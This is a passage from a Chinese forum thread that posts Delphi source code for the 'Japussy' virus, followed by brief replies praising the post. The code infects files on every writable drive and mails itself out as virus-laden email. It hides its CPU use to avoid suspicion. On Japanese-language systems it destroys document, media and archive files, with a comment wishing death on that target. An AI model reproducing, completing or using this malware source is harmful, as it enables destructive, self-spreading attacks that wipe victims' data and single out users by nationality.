&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; (Ext&nbsp; =&nbsp; '.DOC')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.XLS')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.MDB')&nbsp; or<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext&nbsp; =&nbsp; '.MP3')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.RM')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.RA')&nbsp; or<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext&nbsp; =&nbsp; '.WMA')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.ZIP')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.RAR')&nbsp; or<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext&nbsp; =&nbsp; '.MPEG')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.ASF')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.JPG')&nbsp; or<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext&nbsp; =&nbsp; '.JPEG')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.GIF')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.SWF')&nbsp; or<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (Ext&nbsp; =&nbsp; '.PDF')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.CHM')&nbsp; or&nbsp; (Ext&nbsp; =&nbsp; '.AVI')&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SmashFile(Fn); &nbsp; //摧毁文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Sleep(200); <br />
&nbsp; &nbsp; &nbsp; &nbsp; until&nbsp; (FindNext(SearchRec)&nbsp; &lt; &gt; &nbsp; 0); <br />
&nbsp; &nbsp; end; <br />
&nbsp; &nbsp; FindClose(SearchRec); <br />
&nbsp; &nbsp; SubDir&nbsp; :=&nbsp; TStringList.Create; <br />
&nbsp; &nbsp; if&nbsp; (FindFirst(Path&nbsp; +&nbsp; '*.*',&nbsp; faDirectory,&nbsp; SearchRec)&nbsp; =&nbsp; 0)&nbsp; then<br />
&nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; repeat<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; IsValidDir(SearchRec)&nbsp; =&nbsp; 1&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SubDir.Add(SearchRec.Name); <br />
&nbsp; &nbsp; &nbsp; &nbsp; until&nbsp; (FindNext(SearchRec)&nbsp; &lt; &gt; &nbsp; 0); <br />
&nbsp; &nbsp; &nbsp; &nbsp; end; <br />
&nbsp; &nbsp; FindClose(SearchRec); <br />
&nbsp; &nbsp; Count&nbsp; :=&nbsp; SubDir.Count&nbsp; -&nbsp; 1; <br />
&nbsp; &nbsp; for&nbsp; i&nbsp; :=&nbsp; 0&nbsp; to&nbsp; Count&nbsp; do<br />
&nbsp; &nbsp; &nbsp; &nbsp; LoopFiles(Path&nbsp; +&nbsp; SubDir.Strings&nbsp; +&nbsp; '',&nbsp; Mask); <br />
&nbsp; &nbsp; FreeAndNil(SubDir); <br />
end; <br />
{ &nbsp; 遍历磁盘上所有的文件&nbsp; } <br />
procedure&nbsp; InfectFiles; <br />
<br />
var<br />
&nbsp; &nbsp; DriverList:&nbsp; string; <br />
&nbsp; &nbsp; i,&nbsp; Len:&nbsp; Integer; <br />
begin<br />
&nbsp; &nbsp; if&nbsp; GetACP&nbsp; =&nbsp; 932&nbsp; then&nbsp; //日文操作系统<br />
&nbsp; &nbsp; &nbsp; &nbsp; IsJap&nbsp; :=&nbsp; True; &nbsp; //去死吧!<br />
&nbsp; &nbsp; DriverList&nbsp; :=&nbsp; GetDrives; &nbsp; //得到可写的磁盘列表<br />
&nbsp; &nbsp; Len&nbsp; :=&nbsp; Length(DriverList); <br />
&nbsp; &nbsp; while&nbsp; True&nbsp; do&nbsp; //死循环<br />
&nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; for&nbsp; i&nbsp; :=&nbsp; Len&nbsp; downto&nbsp; 1&nbsp; do&nbsp; //遍历每个磁盘驱动器<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LoopFiles(DriverList&nbsp; +&nbsp; ':',&nbsp; '*.*'); &nbsp; //感染之<br />
&nbsp; &nbsp; &nbsp; &nbsp; SendMail; &nbsp; //发带毒邮件<br />
&nbsp; &nbsp; &nbsp; &nbsp; Sleep(1000&nbsp; *&nbsp; 60&nbsp; *&nbsp; 5); &nbsp; //睡眠5分钟<br />
&nbsp; &nbsp; end; <br />
end; <br />
{ &nbsp; 主程序开始&nbsp; } <br />
begin<br />
&nbsp; &nbsp; if&nbsp; IsWin9x&nbsp; then&nbsp; //是Win9x<br />
&nbsp; &nbsp; &nbsp; &nbsp; RegisterServiceProcess(GetCurrentProcessID,&nbsp; 1)&nbsp; //注册为服务进程<br />
&nbsp; &nbsp; else&nbsp; //WinNT<br />
&nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; //远程线程映射到Explorer进程<br />
&nbsp; &nbsp; &nbsp; &nbsp; //哪位兄台愿意完成之?<br />
&nbsp; &nbsp; end; <br />
&nbsp; &nbsp; //如果是原始病毒体自己<br />
&nbsp; &nbsp; if&nbsp; CompareText(ExtractFileName(ParamStr(0)),&nbsp; 'Japussy.exe')&nbsp; =&nbsp; 0&nbsp; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; InfectFiles&nbsp; //感染和发邮件<br />
&nbsp; &nbsp; else&nbsp; //已寄生于宿主程序上了,开始工作<br />
&nbsp; &nbsp; begin<br />
&nbsp; &nbsp; &nbsp; &nbsp; TmpFile&nbsp; :=&nbsp; ParamStr(0); &nbsp; //创建临时文件<br />
&nbsp; &nbsp; &nbsp; &nbsp; Delete(TmpFile,&nbsp; Length(TmpFile)&nbsp; -&nbsp; 4,&nbsp; 4); <br />
&nbsp; &nbsp; &nbsp; &nbsp; TmpFile&nbsp; :=&nbsp; TmpFile&nbsp; +&nbsp; #32&nbsp; +&nbsp; '.exe'; &nbsp; //真正的宿主文件,多一个空格<br />
&nbsp; &nbsp; &nbsp; &nbsp; ExtractFile(TmpFile); &nbsp; //分离之<br />
&nbsp; &nbsp; &nbsp; &nbsp; FillStartupInfo(Si,&nbsp; SW_SHOWDEFAULT); <br />
&nbsp; &nbsp; &nbsp; &nbsp; CreateProcess(PChar(TmpFile),&nbsp; PChar(TmpFile),&nbsp; nil,&nbsp; nil,&nbsp; True,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0,&nbsp; nil,&nbsp; '.',&nbsp; Si,&nbsp; Pi); &nbsp; //创建新进程运行之<br />
&nbsp; &nbsp; &nbsp; &nbsp; InfectFiles; &nbsp; //感染和发邮件<br />
&nbsp; &nbsp; end; <br />
end. </span></p>
发表于 2011-2-9 14:04:55 | 显示全部楼层
这个贴不错!!!!!  
发表于 2011-2-17 17:21:34 | 显示全部楼层
谢谢哦  
发表于 2011-2-24 06:40:30 | 显示全部楼层
好帖子,谢楼主
头像被屏蔽
发表于 2011-3-6 06:36:00 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2011-3-8 06:36:02 | 显示全部楼层
牛 逼  
发表于 2011-3-10 06:36:44 | 显示全部楼层
不错,支持下  
发表于 2011-3-20 06:49:12 | 显示全部楼层
我的妈呀,爱死你了  
发表于 2011-4-5 19:11:07 | 显示全部楼层
回答了那么多,没有加分了,郁闷。。  
发表于 2011-4-7 06:32:03 | 显示全部楼层
牛牛牛牛  
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